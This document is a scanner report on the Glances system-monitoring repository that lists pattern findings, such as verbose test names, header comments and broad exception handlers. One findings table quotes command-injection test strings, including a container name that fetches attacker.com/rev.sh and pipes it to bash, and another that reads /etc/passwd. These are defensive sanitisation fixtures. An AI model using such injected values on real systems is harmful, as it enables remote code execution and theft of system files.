AI Slop Code RIsk Monitor

nicolargo/glances

Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, macOS and Windows operating systems.

39.2 High pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for nicolargo/glances, a Python project with 33,756 GitHub stars. SynthScan examined 73,273 lines of code across 374 source files, recording 1624 pattern matches distributed across 17 syntactic categories. The legacy adjusted pattern signal is 39.2 (High pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

39.2
Adjusted Signal
39.2
Raw Pattern Score
100%
Time Factor
2026-10-10
Last Push
33.8K
Stars
Python
Language
73.3K
Lines of Code
374
Files
1.6K
Pattern Hits
2026-10-12
Scan Date
0.21
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 70.5/100 · HIGH

Can maintainers explain intent, assumptions, and trade-offs? 1210 finding(s).

Hallucinated Dependency & Supply Chain Risk 8.7/100 · LOW

Are imports declared and package/API names verified? 39 finding(s).

Agent Over-Engineering Ratio 70.7/100 · HIGH

Are wrappers, guards, and repeated structures necessary? 1140 finding(s).

PR Review Velocity Impact 84.6/100 · CRITICAL

Which changes need focused human review? 1624 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 0HIGH 79MEDIUM 360LOW 1185

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 1624 distinct pattern matches across 17 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hyper-Verbose Identifiers762 hits · 850 pts
SeverityFileLineSnippetContext
LOW⚡tests/test_actions_sanitize.py49 def test_empty_dict_returns_empty(self):CODE
LOW⚡tests/test_actions_sanitize.py58 def test_strips_double_ampersand(self):CODE
LOW⚡tests/test_actions_sanitize.py70 def test_strips_append_redirect(self):CODE
LOW⚡tests/test_actions_sanitize.py76 def test_strips_multiple_operators(self):CODE
LOW⚡tests/test_actions_sanitize.py85 def test_preserves_int_values(self):CODE
LOW⚡tests/test_actions_sanitize.py90 def test_preserves_float_values(self):CODE
LOW⚡tests/test_actions_sanitize.py95 def test_preserves_none_values(self):CODE
LOW⚡tests/test_actions_sanitize.py100 def test_preserves_bool_values(self):CODE
LOW⚡tests/test_actions_sanitize.py105 def test_preserves_list_of_numbers(self):CODE
LOW⚡tests/test_actions_sanitize.py111 def test_strips_operators_in_nested_list(self):CODE
LOW⚡tests/test_actions_sanitize.py118 def test_strips_operators_in_nested_dict(self):CODE
LOW⚡tests/test_actions_sanitize.py124 def test_strips_operators_in_deeply_nested(self):CODE
LOW⚡tests/test_actions_sanitize.py129 def test_preserves_tuple_type(self):CODE
LOW⚡tests/test_actions_sanitize.py135 def test_sanitize_value_passthrough_non_string(self):CODE
LOW⚡tests/test_actions_sanitize.py141 def test_clean_string_unchanged(self):CODE
LOW⚡tests/test_actions_sanitize.py147 def test_does_not_mutate_original(self):CODE
LOW⚡tests/test_actions_sanitize.py166 def test_pipe_injection_in_process_name(self):CODE
LOW⚡tests/test_actions_sanitize.py177 def test_chain_injection_in_container_name(self):CODE
LOW⚡tests/test_actions_sanitize.py191 def test_redirect_injection_in_mount_point(self):CODE
LOW⚡tests/test_actions_sanitize.py201 def test_append_redirect_injection(self):CODE
LOW⚡tests/test_actions_sanitize.py209 def test_lone_ampersand_is_stripped(self):CODE
LOW⚡tests/test_actions_sanitize.py216 def test_cross_field_ampersand_reconstruction_blocked(self):CODE
LOW⚡tests/test_actions_sanitize.py315 def test_run_sanitizes_pipe_in_mustache(self, actions):CODE
LOW⚡tests/test_actions_sanitize.py325 def test_run_sanitizes_chain_in_mustache(self, actions):CODE
LOW⚡tests/test_actions_sanitize.py334 def test_run_sanitizes_redirect_in_mustache(self, actions):CODE
LOW⚡tests/test_actions_sanitize.py343 def test_run_preserves_template_operators(self, actions):CODE
LOW⚡tests/test_actions_sanitize.py352 def test_run_preserves_template_redirect(self, actions):CODE
LOW⚡tests/test_actions_sanitize.py458 def test_allow_operators_true_when_no_args(self):CODE
LOW⚡tests/test_actions_sanitize.py461 def test_allow_operators_true_when_flag_absent(self):CODE
LOW⚡tests/test_actions_sanitize.py464 def test_allow_operators_false_when_disabled(self):CODE
LOW⚡tests/test_actions_sanitize.py467 def test_allow_operators_true_when_enabled(self):CODE
LOW⚡tests/test_actions_sanitize.py470 def test_run_passes_allow_operators_false_when_disabled(self):CODE
LOW⚡tests/test_actions_sanitize.py697 def test_operators_in_the_value_are_never_interpreted(self):CODE
LOW⚡tests/test_actions_sanitize.py703 def test_quotes_in_the_value_cannot_break_out(self):CODE
LOW⚡tests/test_actions_sanitize.py706 def test_whitespace_in_the_value_cannot_split(self):CODE
LOW⚡tests/test_actions_sanitize.py709 def test_render_is_not_applied_when_omitted(self):CODE
LOWtests/test_actions_sanitize.py304 def test_run_with_safe_values(self, actions):CODE
LOWtests/test_actions_sanitize.py369 def test_run_preserves_template_chain(self, actions):CODE
LOWtests/test_actions_sanitize.py376 def test_run_sanitizes_cmdline_section(self, actions):CODE
LOWtests/test_actions_sanitize.py394 def test_run_blocks_cross_field_ampersand_chain(self, actions):CODE
LOWtests/test_actions_sanitize.py409 def test_run_does_not_execute_when_already_triggered(self, actions):CODE
LOWtests/test_actions_sanitize.py421 def test_run_repeats_when_repeat_true(self, actions):CODE
LOWtests/test_actions_sanitize.py485 def test_run_passes_allow_operators_true_by_default(self):CODE
LOWtests/test_actions_sanitize.py500 def test_run_disabled_does_not_write_redirect_file(self):CODE
LOWtests/test_actions_sanitize.py548 def test_poc_single_quoted_field_stays_one_argument(self):CODE
LOWtests/test_actions_sanitize.py559 def test_unquoted_field_with_spaces_stays_one_argument(self):CODE
LOWtests/test_actions_sanitize.py573 def test_double_quoted_field_stays_one_argument(self):CODE
LOWtests/test_actions_sanitize.py584 def test_triple_mustache_stays_one_argument(self):CODE
LOWtests/test_actions_sanitize.py595 def test_ampersand_mustache_stays_one_argument(self):CODE
LOWtests/test_actions_sanitize.py606 def test_empty_value_yields_an_empty_argument(self):CODE
LOWtests/test_actions_sanitize.py619 def test_protection_holds_with_disable_config_exec(self):CODE
LOWtests/test_actions_sanitize.py631 def test_section_within_one_argument_is_rendered(self):CODE
LOWtests/test_actions_sanitize.py643 def test_section_spanning_two_arguments_is_refused(self, caplog):CODE
LOWtests/test_actions_sanitize.py657 def test_templated_redirect_target_is_expanded(self):CODE
LOW⚡tests/test_lazy_views.py43def test_refresh_builds_nothing(plugin):CODE
LOW⚡tests/test_lazy_views.py48def test_first_read_builds_the_views(plugin):CODE
LOW⚡tests/test_lazy_views.py55def test_second_read_reuses_the_built_views(plugin):CODE
LOW⚡tests/test_lazy_views.py61def test_json_contains_every_process(plugin):CODE
LOWtests/test_lazy_views.py73def test_set_views_is_not_overwritten(plugin):CODE
LOWtests/test_lazy_views.py79def test_curses_rows_stop_at_the_screen_height(plugin):CODE
702 more matches not shown…
Self-Referential Comments232 hits · 704 pts
SeverityFileLineSnippetContext
MEDIUMtests/test_api_secure.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_stdout_csv.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_folder_list_isolation.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_export_influxdb_v1.sh33# Create the glances databaseCOMMENT
MEDIUMtests/test_export_snapshot_isolation.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_stdout.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_limits_no_credential_leak.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_export_json.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_core.py1170 # Create a test plugin with MMM enabledCOMMENT
MEDIUMtests/test_core.py1309 # Create a list of statsCOMMENT
MEDIUMtests/test_plugin_virsh_injection.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_outdated.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_rate_on_list.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_export_timescaledb.sh27# Create the glances databaseCOMMENT
MEDIUMtests/test_xmlrpc.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_amp_secure_popen.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_mcp.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_main.py1# This file is part of Glances.COMMENT
MEDIUM⚡tests/test_export_influxdb_v3.sh18# Create the tokenCOMMENT
MEDIUM⚡tests/test_export_influxdb_v3.sh24# Create a new configuration for the testCOMMENT
MEDIUM⚡tests/test_export_influxdb_v3.sh28# Create the glances databaseCOMMENT
MEDIUM⚡tests/test_duckdb_sanitize.py115 # Create a target table that the injection would try to dropCOMMENT
MEDIUMtests/test_ports_no_credential_leak.py2# This file is part of Glances.COMMENT
MEDIUMdocs/conf.py5# This file is execfile()d with the current directory set to itsCOMMENT
MEDIUMglances/amps_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_client.py2# This file is part of Glances.COMMENT
MEDIUMglances/client_browser.py2# This file is part of Glances.COMMENT
MEDIUMglances/standalone.py2# This file is part of Glances.COMMENT
MEDIUMglances/event.py2# This file is part of Glances.COMMENT
MEDIUMglances/server.py2# This file is part of Glances.COMMENT
MEDIUMglances/web_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/attribute.py2# This file is part of Glances.COMMENT
MEDIUMglances/servers_list_dynamic.py2# This file is part of Glances.COMMENT
MEDIUMglances/servers_list_dynamic.py88 # Create an instance of the servers listCOMMENT
MEDIUMglances/config.py2# This file is part of Glances.COMMENT
MEDIUMglances/config.py144 """This class is used to access/read config file, if it exists.STRING
MEDIUMglances/thresholds.py2# This file is part of Glances.COMMENT
MEDIUMglances/webserver.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_server.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_client_snmp.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_client_snmp.py51 # Create an instance of the SNMP clientCOMMENT
MEDIUMglances/timer.py2# This file is part of Glances.COMMENT
MEDIUMglances/globals.py3# This file is part of Glances.COMMENT
MEDIUMglances/client.py2# This file is part of Glances.COMMENT
MEDIUMglances/events_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/events_list.py285 # Define the automatic process sort keyCOMMENT
MEDIUMglances/events_list.py288 # Create the new log itemCOMMENT
MEDIUMglances/events_list.py356 # Create a new clean listCOMMENT
MEDIUMglances/secure.py2# This file is part of Glances.COMMENT
MEDIUMglances/actions.py2# This file is part of Glances.COMMENT
MEDIUMglances/__init__.py2# This file is part of Glances.COMMENT
MEDIUMglances/__init__.py185 # Create the Glances main instanceCOMMENT
MEDIUMglances/logger.py2# This file is part of Glances.COMMENT
MEDIUMglances/logger.py26# Define the glances log fileCOMMENT
MEDIUMglances/logger.py40# Define the logging configurationCOMMENT
MEDIUMglances/stats_streamer.py2# This file is part of Glances.COMMENT
MEDIUMglances/processes.py2# This file is part of Glances.COMMENT
MEDIUMglances/servers_list_static.py2# This file is part of Glances.COMMENT
MEDIUMglances/programs.py2# This file is part of Glances.COMMENT
MEDIUMglances/password_list.py2# This file is part of Glances.COMMENT
172 more matches not shown…
Decorative Section Separators113 hits · 422 pts
SeverityFileLineSnippetContext
MEDIUM⚡tests/test_actions_sanitize.py38# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_actions_sanitize.py40# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_actions_sanitize.py158# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_actions_sanitize.py160# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_actions_sanitize.py226# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_actions_sanitize.py228# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py255# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py257# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py434# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py436# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py522# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py524# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_api_secure.py147# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_api_secure.py149# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py135# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py137# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py207# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py209# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py232# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py234# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py256# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py258# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py341# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py343# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py425# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_tui.py427# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py31# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py33# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py101# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py103# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py163# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py165# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_clickhouse_sanitize.py38# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_clickhouse_sanitize.py40# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_clickhouse_sanitize.py62# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_clickhouse_sanitize.py64# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_core.py67# =================COMMENT
MEDIUMtests/test_core.py80# ==============COMMENT
MEDIUMtests/test_plugin_virsh_injection.py37# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py39# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py54# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py56# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_plugin_virsh_injection.py152# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_plugin_virsh_injection.py154# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py130# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py132# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py139# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py141# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py181# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py183# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py266# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡tests/test_browser_restful.py268# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py31# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py33# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py53# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py55# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py102# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py104# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py216# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py218# ---------------------------------------------------------------------------COMMENT
53 more matches not shown…
Excessive Try-Catch Wrapping198 hits · 212 pts
SeverityFileLineSnippetContext
LOWtests/test_core.py227 except Exception as e:CODE
LOWtests/test_core.py233 except Exception as e:CODE
LOWtests/test_outdated.py88 except Exception:CODE
LOW⚡tests/test_plugin_sensors.py307 except Exception as e:CODE
LOW⚡tests/test_plugin_sensors.py317 except Exception as e:CODE
LOW⚡tests/test_plugin_sensors.py329 except Exception as e:CODE
LOW.claude/skills/new-export.md66 except Exception as e:CODE
LOW.claude/skills/new-export.md86 except Exception as e:CODE
MEDIUMtests-data/tools/csvcheck.py23 print("Error: CSV file is empty")CODE
MEDIUM⚡tests-data/tools/csvcheck.py35 print(f"Error: Expected {expected_lines} lines, but found {row_count}")CODE
MEDIUM⚡tests-data/tools/csvcheck.py42 print("Error: Not all rows have the same number of columns")CODE
MEDIUM⚡tests-data/tools/csvcheck.py52 print(f"Error: Expected {expected_columns} columns, but found {header_columns}")CODE
MEDIUM⚡tests-data/tools/csvcheck.py59 print(f"Error: File '{input_file}' not found")CODE
LOW⚡tests-data/tools/csvcheck.py61 except Exception as e:CODE
MEDIUM⚡tests-data/tools/csvcheck.py62 print(f"Error processing CSV file: {str(e)}")CODE
MEDIUMtests-data/tools/csvcheck.py15def check_csv(input_file, expected_lines, expected_columns=None):CODE
MEDIUM⚡tests-data/tools/duckdbcheck.py25 print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}")CODE
MEDIUM⚡tests-data/tools/duckdbcheck.py33 print(f"Error: Expected {expected_lines} Network lines, but found {row_count}")CODE
MEDIUM⚡tests-data/tools/duckdbcheck.py39 print(f"Error: File '{input_file}' not found")CODE
LOW⚡tests-data/tools/duckdbcheck.py41 except Exception as e:CODE
MEDIUM⚡tests-data/tools/duckdbcheck.py42 print(f"Error processing DuckDB file: {str(e)}")CODE
MEDIUMtests-data/tools/duckdbcheck.py16def check_duckdb(input_file, expected_lines, expected_columns=None):CODE
LOWglances/amps_list.py60 except Exception as e:CODE
LOWglances/server.py62 except Exception:CODE
LOWglances/server.py229 except Exception as e:CODE
LOWglances/servers_list_dynamic.py226 except Exception as e:CODE
LOWglances/stats_client_snmp.py99 except Exception as e:CODE
LOWglances/globals.py170 except Exception as e:CODE
LOWglances/globals.py227 except Exception as e:CODE
LOWglances/client.py70 except Exception as e:CODE
LOWglances/client.py245 except Exception:CODE
LOWglances/client.py290 except Exception:CODE
LOWglances/stats_streamer.py64 except Exception as e:CODE
LOWglances/processes.py128 except Exception as e:CODE
LOWglances/processes.py139 except Exception as e:CODE
LOWglances/processes.py851 except Exception as e:CODE
LOWglances/stats.py116 except Exception as e:CODE
LOWglances/stats.py240 except Exception as e:CODE
LOWglances/cpu_percent.py253 except Exception as e:CODE
LOWglances/filter.py141 except Exception as e:CODE
LOWglances/outdated.py25except Exception as e:CODE
LOWglances/outdated.py131 except Exception as e:CODE
LOWglances/outdated.py166 except Exception as e:CODE
LOWglances/outdated.py178 except Exception as e:CODE
LOWglances/servers_list.py183 except Exception as e:CODE
LOWglances/folder_list.py105 except Exception:CODE
LOWglances/amps/systemv/__init__.py61 except Exception as e:CODE
LOWglances/amps/default/__init__.py70 except Exception as e:CODE
LOWglances/plugins/processlist/__init__.py221 except Exception:CODE
LOWglances/plugins/sensors/__init__.py118 except Exception as e:CODE
LOWglances/plugins/sensors/__init__.py156 except Exception as e:CODE
LOWglances/plugins/sensors/sensor/glances_batpercent.py32except Exception as e:CODE
LOWglances/plugins/sensors/sensor/glances_batpercent.py50 except Exception as e:CODE
LOWglances/plugins/sensors/sensor/glances_hddtemp.py139 except Exception as e:CODE
LOWglances/plugins/diskio/__init__.py149 except Exception:CODE
LOW⚡glances/plugins/gpu/__init__.py90 except Exception as e:CODE
LOW⚡glances/plugins/gpu/__init__.py97 except Exception as e:CODE
LOW⚡glances/plugins/gpu/__init__.py106 except Exception as e:CODE
LOW⚡glances/plugins/gpu/__init__.py115 except Exception as e:CODE
LOWglances/plugins/gpu/cards/nvidia.py36except Exception as e:CODE
138 more matches not shown…
Empty Error Handlers41 hits · 205 pts
SeverityFileLineSnippetContext
HIGHtests/conftest.py104except requests.exceptions.RequestException:CODE
HIGHtests/test_plugin_network.py272except KeyError:CODE
HIGHtests/test_outdated.py88except Exception:CODE
HIGHtests/test_webui.py127except NoSuchElementException:CODE
HIGHglances/client_browser.py99except IndexError:CODE
HIGHglances/config.py366except (NoOptionError, NoSectionError):CODE
HIGHglances/config.py380except TypeError:CODE
HIGHglances/globals.py48except ImportError:CODE
HIGHglances/__init__.py67except (NameError, KeyError):CODE
HIGHglances/processes.py446except (psutil.NoSuchProcess, KeyError):CODE
HIGHglances/processes.py591except KeyError:CODE
HIGHglances/processes.py597except KeyError:CODE
HIGHglances/processes.py586except psutil.NoSuchProcess:CODE
HIGHglances/plugins/memswap/__init__.py80except (OSError, RuntimeError):CODE
HIGHglances/plugins/sensors/__init__.py319except (TypeError, ValueError):CODE
HIGHglances/plugins/amps/__init__.py132except IndexError:CODE
HIGHglances/plugins/irq/__init__.py213except OSError:CODE
HIGHglances/plugins/psutilversion/__init__.py44except NameError:CODE
HIGHglances/plugins/connections/__init__.py200except KeyError:CODE
HIGHglances/plugins/load/__init__.py140except KeyError:CODE
HIGHglances/plugins/load/__init__.py202except (AttributeError, OSError):CODE
HIGHglances/plugins/version/__init__.py45except NameError:CODE
HIGHglances/plugins/ip/__init__.py191except (UnicodeEncodeError, KeyError):CODE
HIGHglances/plugins/ports/__init__.py243except IndexError:CODE
HIGHglances/plugins/uptime/__init__.py69except Exception:CODE
HIGHglances/plugins/vms/__init__.py354except (KeyError, TypeError):CODE
HIGHglances/plugins/help/__init__.py52except AttributeError:CODE
HIGHglances/exports/export.py208except (TypeError, ValueError):CODE
HIGHglances/outputs/glances_restful_api.py164except Exception:CODE
HIGHglances/outputs/glances_restful_api.py229except KeyboardInterrupt:CODE
HIGHglances/outputs/glances_restful_api.py235except KeyboardInterrupt:CODE
HIGHglances/outputs/glances_stdout_issue.py75except Exception:CODE
HIGHglances/outputs/glances_curses.py471except Exception:CODE
HIGHglances/outputs/glances_curses.py475except Exception:CODE
HIGHglances/outputs/glances_curses.py1127except curses.error:CODE
HIGHglances/outputs/glances_curses.py1172except UnicodeDecodeError:CODE
HIGHglances/outputs/glances_curses.py262except Exception:CODE
HIGHglances/outputs/glances_curses.py1199except Exception:CODE
HIGHglances/outputs/glances_curses.py1219except Exception:CODE
HIGHglances/outputs/glances_colors.py109except Exception:CODE
HIGHglances/outputs/glances_colors.py119except Exception:CODE
Over-Commented Block113 hits · 111 pts
SeverityFileLineSnippetContext
LOWrequirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWdev-requirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWdev-requirements.txt21 # reuseCOMMENT
LOWdev-requirements.txt41cffi==2.1.1 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy'COMMENT
LOWdev-requirements.txt61 # pytestCOMMENT
LOWdev-requirements.txt81 # sphinx-rtd-themeCOMMENT
LOWdev-requirements.txt101 # via matplotlibCOMMENT
LOWdev-requirements.txt121 # via pre-commitCOMMENT
LOWdev-requirements.txt141 # mcpCOMMENT
LOWdev-requirements.txt161 # via semgrepCOMMENT
LOWdev-requirements.txt181 # viaCOMMENT
LOWdev-requirements.txt201opentelemetry-instrumentation-requests==0.58b0COMMENT
LOWdev-requirements.txt221 # viaCOMMENT
LOWdev-requirements.txt241pluggy==1.6.0COMMENT
LOWdev-requirements.txt261pygments==2.21.0COMMENT
LOWdev-requirements.txt281 # via reuseCOMMENT
LOWdev-requirements.txt301 # jsonschema-specificationsCOMMENT
LOWdev-requirements.txt341six==1.17.0COMMENT
LOWdev-requirements.txt381 # sse-starletteCOMMENT
LOWdev-requirements.txt401 # anyioCOMMENT
LOWdev-requirements.txt421 # viaCOMMENT
LOWdev-requirements.txt441 # opentelemetry-instrumentationCOMMENT
LOWdocker-requirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWdocker-requirements.txt21 # requestsCOMMENT
LOWdocker-requirements.txt41exceptiongroup==1.2.2 ; python_full_version < '3.11'COMMENT
LOWdocker-requirements.txt61 # via glancesCOMMENT
LOWdocker-requirements.txt81 # via cffiCOMMENT
LOWdocker-requirements.txt101python-jose==3.5.0COMMENT
LOWdocker-requirements.txt121 # via pylxdCOMMENT
LOWdocker-requirements.txt141starlette==1.7.0COMMENT
LOWdocker-requirements.txt161typing-inspection==0.4.4COMMENT
LOWall-requirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWall-requirements.txt21 # via glancesCOMMENT
LOWall-requirements.txt41chevron==0.14.0COMMENT
LOWall-requirements.txt61ecdsa==0.19.2COMMENT
LOWall-requirements.txt81httpx-sse==0.4.3COMMENT
LOWall-requirements.txt101 # via glancesCOMMENT
LOWall-requirements.txt141 # via glancesCOMMENT
LOWall-requirements.txt161 # fastapiCOMMENT
LOWall-requirements.txt181pyreadline3==3.5.6 ; sys_platform == 'win32'COMMENT
LOWall-requirements.txt201python-dotenv==1.2.3COMMENT
LOWall-requirements.txt221 # jsonschemaCOMMENT
LOWall-requirements.txt241 # viaCOMMENT
LOWall-requirements.txt261 # via glancesCOMMENT
LOWall-requirements.txt281 # mcpCOMMENT
LOWall-requirements.txt301urllib3==2.8.0COMMENT
LOW.readthedocs.yaml21 # Fail on all warnings to avoid broken referencesCOMMENT
LOWtests/test_core.py1401 # """Test secure functions"""COMMENT
LOWtests/test_plugin_model.py1#!/usr/bin/env pythonCOMMENT
LOWtests/test_api.py1#!/usr/bin/env pythonCOMMENT
LOWdocs/conf.py1#COMMENT
LOWdocs/conf.py21# sys.path.insert(0, os.path.abspath('.'))COMMENT
LOWdocs/conf.py61copyright = f'{year}, {author}'COMMENT
LOWdocs/conf.py81# today = ''COMMENT
LOWdocs/conf.py101# output. They are ignored by default.COMMENT
LOWdocs/conf.py121html_theme = 'sphinx_rtd_theme'COMMENT
LOWdocs/conf.py141COMMENT
LOWdocs/conf.py161# If true, SmartyPants will be used to convert quotes and dashes toCOMMENT
LOWdocs/conf.py181# If true, links to the reST sources are added to the pages.COMMENT
LOWdocs/conf.py201# 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'COMMENT
53 more matches not shown…
Cross-Language Confusion16 hits · 110 pts
SeverityFileLineSnippetContext
HIGH⚡tests/test_actions_sanitize.py59 d = {'name': 'web && curl evil.com'}CODE
HIGH⚡tests/test_actions_sanitize.py77 d = {'name': 'foo|bar && baz > qux >> end'}CODE
HIGH⚡tests/test_actions_sanitize.py119 d = {'meta': {'k': 'a|b && c > d'}}CODE
HIGH⚡tests/test_actions_sanitize.py180 'name': 'web && curl attacker.com/rev.sh | bash && echo ',CODE
HIGH⚡tests/test_actions_sanitize.py238 assert secure_popen('echo -n A && echo -n B') == 'AB'CODE
HIGH⚡tests/test_actions_sanitize.py328 actions, 'containers', 'WARNING', ['echo {{name}}'], {'name': 'web && cat /etc/passwd'}CODE
HIGH⚡tests/test_actions_sanitize.py700 value = "a && b | c > /tmp/evil"CODE
HIGH⚡tests/test_actions_sanitize.py178 """Simulate: container name contains && to chain commands."""STRING
HIGH⚡tests/test_plugin_npu.py53 line fell back to 'DEFAULT' and the WebUI's `getDecoration` returned undefined,STRING
HIGH⚡tests/test_plugin_virsh_injection.py91 assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created'CODE
HIGH⚡tests/test_plugin_virsh_injection.py133 assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created'CODE
HIGH⚡tests/test_plugin_virsh_injection.py166 domain = 'foo && touch /tmp/should-not-happen | tee >x'CODE
HIGHtests/test_plugin_virsh_injection.py184 domain = 'titletest && cmd | x > y unique-arg-shape'CODE
HIGH⚡tests/test_amp_secure_popen.py55 result = secure_popen('echo -n A && echo -n B', allow_operators=False)CODE
